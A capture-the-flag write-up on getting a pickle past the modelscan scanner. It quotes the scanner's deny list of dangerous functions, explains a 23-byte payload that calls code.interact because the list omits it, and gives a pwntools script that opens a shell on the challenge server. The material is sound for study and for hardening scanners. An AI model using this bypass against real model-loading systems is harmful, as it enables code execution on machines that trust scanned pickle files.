why even try to blacklist python pickle ...
nc challs1.pyjail.club 16050
Attachment:
#!/usr/local/bin/python3
import modelscan.settings
import modelscan.modelscan
import pickle
scan = modelscan.modelscan.ModelScan(settings=modelscan.settings.DEFAULT_SETTINGS)
open('/tmp/malicious.pkl', 'wb').write(bytes.fromhex(input('> '))[:23])
result = scan.scan('/tmp/malicious.pkl')
if result['issues'] or result['errors']:
print(result)
print('no')
exit()
pickle.loads(open('/tmp/malicious.pkl', 'rb').read())
We need to create a malicious pickle under 23 bytes and passing modelscan validation. The validation is done in picklescanner.py and many functions are banned from settings.py:
"__builtin__": [
"eval",
"compile",
"getattr",
"apply",
"exec",
"open",
"breakpoint",
"__import__",
],
"os": "*",
# ... many more
However, inspired by pull request #313, the list is incomplete. For example. code.interact
is not banned. We can construct a pickle that calls it by:
GLOBAL + b"code\ninteract\n"
: load global variable interact
from code
module onto the stackEMPTY_TUPLE
: push ()
onto the stack, it will be the arguments to code.interact
REDUCE
: pop two elements from stack, the first is the argument tuple (empty tuple here), the second is the function itself (code.interact
here), so it effectively calls code.interact()
STOP
: make pickletools.genops
happy, otherwise modelscan will complainAttack script:
from pwn import *
from pickle import *
import pickletools
context(log_level="debug")
def encode_str(s):
b = s.encode()
return bytes([len(b)]) + b
payload = GLOBAL + b"code\ninteract\n" + EMPTY_TUPLE + REDUCE + STOP # call code.interact()
pickletools.dis(payload)
print(list(pickletools.genops(payload)))
assert len(payload) <= 23
# p = process(["python3", "main.py"])
p = remote("challs1.pyjail.club", 16050)
p.sendline(payload.hex().encode())
p.recvuntil(b">>>")
p.sendline(b"import os;os.system('sh')")
p.interactive()
Flag: jail{they_really_dont_care_bruh_fdf1d09caee6d95c}
.